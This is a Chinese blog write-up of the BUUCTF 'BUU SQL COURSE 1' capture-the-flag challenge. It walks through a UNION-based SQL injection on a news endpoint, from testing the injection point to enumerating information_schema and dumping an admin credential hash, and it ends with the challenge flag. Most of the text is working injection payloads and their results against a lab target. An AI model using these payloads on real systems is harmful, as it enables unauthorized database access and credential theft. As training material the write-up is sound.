【CTF Web】BUUCTF BUU SQL COURSE 1 Writeup(SQL注入+信息收集)

BUU SQL COURSE 1

1
上课用的~

点击启动靶机。


解法

点击登录。

随便输入写,登录。

查看网页源代码,看起来是用 ElementUI 做的前端。

<form data-v-8caed7e8="" class="el-form"><div data-v-8caed7e8="" class="el-form-item"><label class="el-form-item__label" style="width: 80px;">用户名</label><div class="el-form-item__content" style="margin-left: 80px;"><div data-v-8caed7e8="" class="el-input"><!----><input type="text" autocomplete="off" class="el-input__inner" data-sider-insert-id="dbcf9a63-510a-4912-97e2-361079f3558e" data-sider-select-id="1905eadb-242b-4b74-8080-1ab71e5dc363"><!----><!----><!----><!----></div><!----></div></div> <div data-v-8caed7e8="" class="el-form-item"><label class="el-form-item__label" style="width: 80px;">密码</label><div class="el-form-item__content" style="margin-left: 80px;"><div data-v-8caed7e8="" class="el-input"><!----><input type="password" autocomplete="off" class="el-input__inner" data-sider-select-id="a96b4269-73fb-4c7b-9e43-bc750611c284" data-sider-insert-id="16942ea9-3589-4962-a6ec-50f02db8c470"><!----><!----><!----><!----></div><!----></div></div> <div data-v-8caed7e8="" class="el-form-item"><!----><div class="el-form-item__content" style="margin-left: 80px;"><button data-v-8caed7e8="" type="button" class="el-button el-button--primary"><!----><!----><span>登录</span></button><!----></div></div></form>

用 Burp 抓包。

发到 Repeater,尝试注入。注入失败。

回到首页。点击一条新闻。

发现注入点。

http://1e73c44f-40d4-452f-ae01-0321c0762d95.node5.buuoj.cn:81/backend/content_detail.php?id=1
{
    "title": "测试新闻1",
    "content": "哈哈哈哈"
}

使用 hackbar 尝试注入。

?id=1 and 1=1; --+

有结果。

{
    "title": "测试新闻1",
    "content": "哈哈哈哈"
}
?id=1 and 1=0; --+

无结果。可以注入。

检查 or 是否被过滤。

?id=-1 or 1=1; --+

有结果。

{
    "title": "测试新闻1",
    "content": "哈哈哈哈"
}

判断列数:

?id=1 order by 1,2,3; --+

1,2 有结果,说明有2列。

判断输出位置:

?id=-1 union select 1,2; --+
{
    "title": "1",
    "content": "2"
}

爆破库名:

?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata --+

注意到有个库叫 ctftraining。

{
    "title": "1",
    "content": "information_schema,ctftraining,mysql,performance_schema,test,news"
}

爆破表名:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+

flag 应该在 FLAG_TABLE 表里。

{
    "title": "1",
    "content": "FLAG_TABLE,news,users"
}

爆破列名:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'; --+

FLAG_COLUMN。

{
    "title": "1",
    "content": "FLAG_COLUMN,id,title,content,time,id,username,password,ip,time"
}

查询 flag。

?id=-1 union select 1,FLAG_COLUMN from ctftraining.FLAG_TABLE; --+

并没有结果。可能 flag 不在这里……是不是数据库弄错了?

查询当前数据库:

?id=-1 union select 1,database(); --+

果然。

{
    "title": "1",
    "content": "news"
}

爆破表名:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'; --+

admin 表里可能有刚刚登录页面的账号密码。

{
    "title": "1",
    "content": "admin,contents"
}

爆破列名:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='news'; --+
{
    "title": "1",
    "content": "id,username,password,id,title,content"
}

查询用户名和密码。

?id=-1 union select username,password from admin; --+
{
    "title": "admin",
    "content": "86ae3ffbb031dc226ec778cca907649a"
}

回到登录页:

http://1e73c44f-40d4-452f-ae01-0321c0762d95.node5.buuoj.cn:81/#/login

用刚刚查到的账号密码登录。

取得 flag。

Flag

flag{435cc6f7-5ea2-4be5-9345-50cb8e68dd72}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值